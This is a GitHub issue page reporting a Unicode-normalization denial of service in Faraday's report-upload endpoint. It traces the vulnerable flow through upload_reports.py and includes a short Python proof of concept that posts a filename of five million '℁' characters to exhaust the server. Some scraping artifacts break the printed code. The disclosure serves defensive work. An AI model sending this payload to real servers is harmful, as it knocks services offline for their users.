infobyte / faraday

Open Source Vulnerability Management Platform

Home Page:https://www.faradaysec.com

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Application-level Denial-of-Service due to a One Million Unicode attack when a Report is Uploaded Inbox

Sim4n6 opened this issue · comments

Summary

Unicode characters used in a user-controlled filename may cause an application level DoS in infobyte/faraday when a report upload is performed to create data within the given workspace.

Details

I noticed that the user-controlled filename can reach a costly Unicode normalization operation.

The filename may carry a huge Unicode characters and may cause denial of service since the call to secure_filename() uses a costly Unicode compatibility normalization (underneath).

This could get worse with Unicode characters like U+2100 (℀), or U+2105 (℅) which when Unicode compatibility normalized becomes three characters thus tripling the size of the filename.

The Vulnerable Flow Path

  1. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  2. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  3. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L77C26-L77C33)

                abort(404, f"Workspace disabled: {workspace_name}")
    
            if 'file' not in request.files:
                abort(400)
    
    
  4. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)

                abort(403)
    
            report_file = request.files['file']
    
            ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
    
  5. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)

                chars = string.ascii_uppercase + string.digits
                random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
                raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'
    
                try:
    
Path with 5 steps
  1. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  2. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  3. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L81C27-L81C34)

    
            try:
                validate_csrf(request.form.get('csrf_token'))
            except ValidationError:
                abort(403)
    
  4. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)

                abort(403)
    
            report_file = request.files['file']
    
            ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
    
  5. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)

                chars = string.ascii_uppercase + string.digits
                random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
                raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'
    
                try:
    
Path with 5 steps
  1. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  2. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)

    from flask import (
        Blueprint,
        request,
        abort,
        make_response,
    
  3. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C23-L85C30)

                abort(403)
    
            report_file = request.files['file']
    
            ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
    
  4. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)

                abort(403)
    
            report_file = request.files['file']
    
            ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
    
  5. [faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)

                chars = string.ascii_uppercase + string.digits
                random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
                raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'
    
                try:
    

PoC

As a proof of concept, I would use the following python script:

import requests
import sys

# Adjust the URL accordingly
url = "https://valid_instance/"

dangerous_size = 5_000_000
files = {"file": ("℁" * dangerous_size + ".bmp", open("titre.jpg", "rb"))}  # Adjust the file path

response = [requests.post](http://requests.post/)(
    url,
    files=files
)

print(response.status_code, [response.elapsed.total](http://response.elapsed.total/)_seconds())

This would cause the application to take an endless time to handle a single POST request.

Remediation

Impact

  • Server-side denial of service due to an attack similar to the "One Million Unicode".

Regards,
@Sim4n6

Issue submitted after via email you requested that I do so.